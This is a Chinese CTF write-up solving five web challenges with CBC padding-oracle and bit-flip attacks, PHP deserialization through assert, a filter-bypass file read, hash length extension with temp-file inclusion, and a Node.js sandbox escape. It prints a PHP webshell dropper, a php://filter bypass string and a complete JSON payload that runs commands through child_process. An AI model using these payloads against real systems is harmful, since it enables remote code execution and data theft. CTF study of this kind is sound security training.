WEB
1.web🐕
当时写这道题,知道只知道是CBC字节反转攻击。
后面看WP才发现考点
- cbc padding oracle
- cbc 字节翻转
index.php源码如下
1 |
|
从上面代码可知128位的cbc,blocksize是16字节,加密IV已知,secret未知,我们还知道解密是否成功,密文,我们又可以控制密文和解密的IV,可以使用padding oracle爆出明文。
具体的攻击理论
glotozz师傅的exp
1 | import requests |
爆出明文 FlagIsHere.php
1 |
|
CBC字节反转攻击
exp
1 | # coding=utf-8 |
得到网盘地址下载得到HelloWorld.class
,jd-gui
反编译得到byte流,后面python解一下
1 | print(bytearray([102, 108, 97, 103, 123, 119, 101, 54, 95, 52, 111, 103, 95, 49, 115, 95, 101, 52, 115, 121, 103, 48, 105, 110, 103, 125 ])) |
2.ReadlezPHP
看源码,跳转到/time.php?source
得到源码
1 |
|
简单的反序列化,这里需要注意的是不能用 eval
因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
在PHP7中assert变成了一种语言结构而不是一个函数。也就是说像eval一样不支持可变函数。但某几个php7版本支持可变函数。
题目这个7.0.33版本正好可以.
构造反序列化payload,本地测试成功,但打过去命令没执行。怀疑是被禁用了系统函数,所以构造payload查看phpinfo();
1 |
|
这种情况一般是写个马上去,然后用其他方法bypass
1 | $o->a = 'file_put_contents("1.php", "<?php eval(\$_REQUEST[\'a\']); ?>")'; |
然后利用蚁剑插件直接绕过
最后在环境变量中找到了flag
3.ezlogin
弱口令,直接访问admin.php,都没啥发现,后面抓包看到是XML格式提交,考虑XXE或XPATH注入
后面发现一个会话只有15秒,只能写脚本了
1 | import requests |
拿到密码md5解密得到密码 gtfly123
,登陆后观察到url中?file=welcome
任意文件读取
但使用一般的php://filter发现其被过滤了,那么尝试后发现过滤了一下关键字:php: .php read base
并且返回的内容中不能含有flag字符串,fuzz后发现其没有过滤大小写,那么用大写绕过协议,read可省略,编码方式使用rot13:pHp://filter/string.rot13/resource=/flag
4.ezinclude
根据hint md5($secret.$name)===$pass可以知道这题是个hash长度扩展攻击 但是,看到其他师傅有个非预期解
正常的解法是hash长度扩展攻击
exp:
1 | import os |
直接访问会跳转404,所以用Burp发包。
是一个文件包含
比较坑的地方是dir.php 要扫描。如果得到了dir.php,应该都会想到上传临时文件getshell
1 | import requests |
从dir.php获取临时文件名getshell
最后是在phpinfo()页面找到flag
5.验证🐎
关键源码
1 | function saferEval(str) { |
先考虑第一层,first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])
keys不可知,无法爆破,而且需要.length相等,但是本身不相等,注意,此处用的是===以使类型和值完全匹配
对其进行加盐md5,加盐中出现了问题,因为盐是字符串,与字符串相加会导致强制类型转化 而String和Array都正好有length属性,并且
但是直接传urlencoded的表单是没法传数组的,而这里正好使用了JSON的中间件,所以只需要传JSON就好了
然后考虑绕过正则,必须以 Math.
开头的字符串,符号只能出现()+\-*&|%^<>=,?:
,虽然可以 Math.__proto__
但在这里无法直接利用。
但可以通过箭头函数构造这种链
1 | ((Math)=>(Math=Math.__proto__,Math=Math.__proto__))(Math) |
然后尝试调用eval或者Function,但是此处无法直接输入字符串,故使用String.fromCharCode(…)然后利用Object.prototype.constructor从原型链上导出 String
和Function
payloay大致如下
1 | ((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)() |
分析一下
开头的Math是箭头函数。需要接受的参数。类似于function(Math)
(Math+1)是函数的参数,Math是个对象 与字符串1拼接后变成一个字符串
最外面的小括号。是JS的立即执行函数。定义函数后调用
中间一长串就是函数体了
生成命令
1 | def gen(cmd): |
完整exp:
1 | {"e":"(Math=>(Math=Math.constructor,Math=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))()))(Math+1)","first":"1","second":[1]} |
不要忘了把修改把Content-Type 修改成application/json